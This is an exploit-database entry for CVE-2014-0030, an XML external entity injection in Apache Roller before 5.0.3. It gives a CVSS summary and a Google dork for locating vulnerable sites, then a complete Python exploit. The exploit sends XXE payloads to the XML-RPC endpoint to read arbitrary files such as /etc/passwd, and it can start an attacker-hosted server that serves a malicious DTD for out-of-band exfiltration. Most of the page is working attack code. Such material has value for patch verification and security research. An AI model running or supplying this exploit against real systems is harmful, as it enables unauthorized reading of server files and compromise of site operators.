Apache Roller 5.0.3 XML External Entity Injection (File Disclosure)

2018.09.06
Credit: Marko Jokic
Risk: High
Local: No
Remote: Yes
CWE: CWE-611


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Apache Roller 5.0.3 - XML External Entity Injection (File Disclosure) # Google Dork: intext:"apache roller weblogger version {vulnerable_version_number}" # Date: 2018-09-05 # Exploit Author: Marko Jokic # Contact: http://twitter.com/_MarkoJokic # Vendor Homepage: http://roller.apache.org/ # Software Link: http://archive.apache.org/dist/roller/ # Version: < 5.0.3 # Tested on: Linux Ubuntu 14.04.1 # CVE : CVE-2014-0030 # This exploit lets you read almost any file on a vulnerable server via XXE vulnerability. # There are two types of payload this exploit is able to use, 'SIMPLE' & 'ADVANCED'. # 'SIMPLE' payload will work in most cases and will be used by default, if # server errors out, use 'ADVANCED' payload. # 'ADVANCED' payload will start local web server and serve malicious XML which # will be parsed by a target server. # To successfully perform attack with 'ADVANCED' payload, make sure that port # you listen on (--lport flag) is accessible out of the network. #!/usr/bin/env python import SimpleHTTPServer import SocketServer import argparse import sys import threading from xml.etree import ElementTree import urllib3 import requests SIMPLE_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file://{}">]> <methodCall> <methodName>&xxe;</methodName> </methodCall> """ ADVANCED_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY % start "<![CDATA["> <!ENTITY % xxe SYSTEM "file://{}"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "{}"> %dtd; ]> <methodCall> <methodName>&all;</methodName> </methodCall> """ urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() self.wfile.write('<!ENTITY all "%start;%xxe;%end;">') def check_exploit(host): response = requests.post(host + "/roller-services/xmlrpc", verify=False) if response.status_code == 200: return True return False def exploit(host, payload): response = requests.post(host + "/roller-services/xmlrpc", data=payload, verify=False) xml_tree = ElementTree.fromstring(response.text) parsed_response = xml_tree.findall("fault/value/struct/member")[1][1].text print parsed_response def start_web_server(port): handler = MyHandler httpd = SocketServer.TCPServer(('', port), handler, False) httpd.allow_reuse_address = True httpd.server_bind() httpd.server_activate() httpd.handle_request() httpd.shutdown() def main(): parser = argparse.ArgumentParser() parser.add_argument('-u', metavar="URL", dest="url", required=True, help="Target URL") parser.add_argument('-f', metavar='FILE', dest="file", required=False, default="/etc/passwd", help="File to read from server") parser.add_argument('--lhost', required='--rport' in sys.argv, help="Your IP address for http web server") parser.add_argument('--lport', type=int, required='--rhost' in sys.argv, help="Port for web server to listen on") args = parser.parse_args() host = args.url full_file_path = args.file advanced = False lhost = args.lhost lport = args.lport if lport is not None and lport is not None: advanced = True check = check_exploit(host) if check: if advanced: th = threading.Thread(target=start_web_server, args=(lport,)) th.daemon = True th.start() payload = ADVANCED_PAYLOAD.format(full_file_path, "http://{}:{}".format(lhost, lport)) else: payload = SIMPLE_PAYLOAD.format(full_file_path) exploit(host, payload) else: print "[-] TARGET IS NOT VULNERABLE!" main()


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